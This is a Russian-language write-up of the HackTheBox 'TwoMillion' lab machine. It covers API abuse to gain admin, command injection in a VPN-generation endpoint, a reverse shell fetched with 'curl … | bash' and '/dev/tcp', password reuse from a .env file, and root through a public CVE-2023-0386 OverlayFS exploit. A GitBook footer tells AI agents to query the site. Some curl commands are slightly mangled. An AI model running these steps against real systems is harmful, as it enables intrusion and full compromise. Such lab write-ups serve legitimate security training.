> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md). # Разбор HackTheBox TwoMillion Разбор Easy Linux-машины HackTheBox TwoMillion, охватывающий злоупотребление API для генерации действительного кода приглашения, злоупотребление API для повышения наших привилегий до администратора, инъекцию команд через плохо спроектирован {% embed url="" %} {% hint style="warning" %} **Навыки:** * Злоупотребление API для генерации действительного кода приглашения * Злоупотребление API для повышения наших привилегий до администратора * Инъекция команд через плохо спроектированную функциональность API * Утечка информации * Повышение привилегий через эксплуатацию ядра (CVE-2023-0386) — уязвимость OverlayFS {% endhint %} **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts ```

**Сканирование версий портов с помощью Nmap:** Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted": ```bash nmap -sCV -p22,80 2million.htb-oN targeted ```

## Порт 80 - HTTP

#### Обнаружение ресурсов с помощью Gobuster ```bash gobuster dir -u http://2million.htb/ / -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt / -t 100 -r --exclude-length 1674 ```

#### Обнаружение `inviteapi.min.js` файл Этот JavaScript-файл сильно обфусцирован с использованием классической `eval(function(p,a,c,k,e,d){...})` техники. После деобфускации появляются две интересные функции: * `verifyInviteCode(code)`: отправляет код приглашения в `/api/v1/invite/verify` * `makeInviteCode()`: выполняет запрос к `/api/v1/invite/how/to/generate`

## Эксплуатация API — генерация кода приглашения #### Первичный запрос: ```bash curl -X POST / -H "Content-Type: application/json" / http://2million.htb/api/v1/invite/how/to/generate ``` Ответ > {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Данные зашифрованы ... Нам, вероятно, следует проверить тип шифрования, чтобы расшифровать их..."}# #### Расшифровка ROT13 → новый URL: {% embed url="" %}

Чтобы сгенерировать код приглашения, отправьте POST-запрос на /api/v1/invite/generate #### Запрос: ```bash curl -X POST / -H "Content-Type: application/json" / http://amillion.htb/api/v1/invite/generate ```

Ответ (base64): * V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM= Декодирование: ```bash echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo ``` WUOIF-LK68X-HUGTW-DOX1S Мы используем этот код для создания учетной записи на сайте.

## Эксплуатация API HackTheBox

#### Наблюдение за API Посетив `/api`, мы можем наблюдать доступные маршруты.

#### Попытка сгенерировать VPN-конфиг (первичная неудача) ```bash curl -v -X POST / -H "Content-Type: application/json" / --cookie "session=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate ``` Ответ: Не разрешено.

#### Изменение нашей роли через API

Мы тестируем изменение настроек пользователя через маршрут: ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update ``` > {"status":"danger","message":"Отсутствует параметр: email"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}' ``` > {"status":"danger","message":"Отсутствует параметр: is/\_admin"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}' ``` > Ответ: > > {"id":15,"username":"Jordan","is/\_admin":1}

#### Проверка нашего статуса администратора ```bash curl -s -X GET / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/auth | jq { "message": true } ```

### Выполнение произвольного кода через инъекцию команд ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}' ```

Попытка внедрить команду в поле `имя пользователя`: ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}' ```

#### Обратная оболочка 1. **Файловый сервер** ```bash echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html python3 -m http.server 80 ``` 2. **Netcat слушает** ```bash nc -nvlp 443 ``` 3. **Отправка запроса** ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}' ``` Мы получаем обратную оболочку

## Повышение привилегий #### Обнаружение конфиденциальных файлов Ища файлы, доступные из нашей оболочки, мы обнаруживаем скрытый `.env` файл, содержащий учетные данные для базы данных: ```bash DATABASE=htb_prod USERNAME=admin PASSWORD=SuperDuperPass123 ```

Мы также замечаем наличие второго пользователя по имени `admin`.

#### Повторное использование пароля Проверив найденные учетные данные, мы видим, что системный пользователь `admin` использует **тот же пароль** что и пароль базы данных. ### Флаг user.txt :)

Эта плохая практика позволяет нам получить **SSH-подключение**: #### Системный email

При подключении сообщение сообщает нам о наличии **нового письма**. Прочитав его, мы получаем важную информацию: > Привет, админ, > > Я знаю, что ты работаешь так быстро, как можешь, чтобы выполнить миграцию БД. Пока мы частично недоступны, не мог бы ты также обновить ОС на нашем веб-хосте? В этом году уже было несколько серьёзных CVE в ядре Linux. Та уязвимость в OverlayFS / FUSE выглядит неприятно. Нас не должны взломать из-за неё.

Это сообщение выводит нас на след **известной уязвимости в OverlayFS**:/ **CVE-2023-0386** — локальной уязвимости повышения привилегий в ядре Linux. ## Эксплуатация CVE-2023-0386 - повышение привилегий OverlayFS > OverlayFS позволяет накладывать файловые системы. В некоторых версиях ядра Linux неправильное управление емкостью позволяет непривилегированному пользователю выполнять код с **правами root**. {% embed url="" %} **Пошаговые действия** 1. **Клонируйте эксплойт** на нашей локальной машине: ```bash git clone https://github.com/puckiestyle/CVE-2023-0386 cd CVE-2023-0386 make all ``` 2. **Передайте скомпилированные файлы** на целевую машину (`scp`, `python -m http.server`, и т. д.).

2. **На целевой машине**, выполните в **двух терминалах**: * Терминал A: ```bash ./fuse ./ovlcap/lower ./gc ``` * Терминал B: ```bash ./exp ``` Если все пройдет хорошо, мы получаем **root** оболочку

### Флаг root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.